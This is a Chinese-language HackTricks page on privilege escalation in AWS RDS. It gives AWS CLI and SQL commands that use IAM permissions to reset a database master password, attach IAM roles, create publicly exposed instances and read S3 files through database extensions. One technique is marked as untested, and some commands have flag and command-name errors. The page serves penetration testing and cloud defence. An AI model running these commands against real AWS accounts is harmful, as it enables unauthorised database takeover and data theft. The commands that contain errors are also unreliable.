AWS - RDS Privesc

支持 HackTricks

RDS - 关系数据库服务

有关 RDS 的更多信息,请查看:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

拥有该权限的攻击者可以修改主用户的密码,并登录到数据库中:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

你需要能够联系数据库(它们通常只能从内部网络访问)。

潜在影响: 在数据库中查找敏感信息。

rds-db:connect

根据文档,具有此权限的用户可以连接到DB实例。

滥用RDS角色IAM权限

Postgresql (Aurora)

如果运行**SELECT datname FROM pg_database;你发现一个名为rdsadmin的数据库,你就知道你在一个AWS postgresql数据库**中。

首先,你可以检查这个数据库是否被用来访问任何其他AWS服务。你可以通过查看已安装的扩展来检查:

SELECT * FROM pg_extension;

如果你发现类似 aws_s3 的内容,你可以假设这个数据库对 S3 有 某种访问权限(还有其他扩展,如 aws_mlaws_lambda)。

此外,如果你有权限运行 aws rds describe-db-clusters,你可以在 AssociatedRoles 字段中看到 集群是否附加了任何 IAM 角色。如果有,你可以假设该数据库 已准备好访问其他 AWS 服务。基于 角色的名称(或者如果你能获取角色的 权限),你可以 猜测 数据库还有哪些额外的访问权限。

现在,要 读取桶内的文件,你需要知道完整路径。你可以用以下命令读取:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

如果你有原始AWS凭证,你也可以用它们来访问S3数据:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql 不需要更改任何参数组变量即可访问S3。

Mysql (Aurora)

在mysql中,如果运行查询 SELECT User, Host FROM mysql.user; 并且有一个名为 rdsadmin 的用户,可以假设你在一个 AWS RDS mysql db 中。

在mysql中运行 show variables;,如果变量如 aws_default_s3_roleaurora_load_from_s3_roleaurora_select_into_s3_role 有值,可以假设数据库已准备好访问S3数据。

此外,如果你有权限运行 aws rds describe-db-clusters,你可以检查集群是否有任何 关联角色,这通常意味着可以访问AWS服务。

现在,要 读取桶内的文件,你需要知道完整路径。你可以用以下命令读取:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

具有 rds:AddRoleToDBClusteriam:PassRole 权限的攻击者可以将指定角色添加到现有 RDS 实例。这可能允许攻击者访问敏感数据或修改实例中的数据。

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

潜在影响: 访问敏感数据或未经授权修改RDS实例中的数据。 注意,一些数据库需要额外的配置,例如Mysql,需要在参数组中指定角色ARN。

rds:CreateDBInstance

仅凭此权限,攻击者可以在已经存在并附有IAM角色的集群内创建一个新实例。他无法更改主用户密码,但他可能能够将新数据库实例暴露给互联网:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: 测试

具有 rds:CreateDBInstanceiam:PassRole 权限的攻击者可以创建一个附加了指定角色的新 RDS 实例。攻击者随后可能访问敏感数据或修改实例中的数据。

要附加的角色/实例配置文件的一些要求(来自这里):

  • 配置文件必须存在于您的账户中。

  • 配置文件必须具有 Amazon EC2 有权限承担的 IAM 角色。

  • 实例配置文件名称和关联的 IAM 角色名称必须以前缀 AWSRDSCustom 开头。

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

潜在影响: 访问敏感数据或未经授权修改RDS实例中的数据。

rds:AddRoleToDBInstance, iam:PassRole

具有rds:AddRoleToDBInstanceiam:PassRole权限的攻击者可以将指定角色添加到现有RDS实例。这可能允许攻击者访问敏感数据或修改实例中的数据。

DB实例必须在集群之外

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

潜在影响: 访问敏感数据或对RDS实例中的数据进行未经授权的修改。

支持HackTricks

Last updated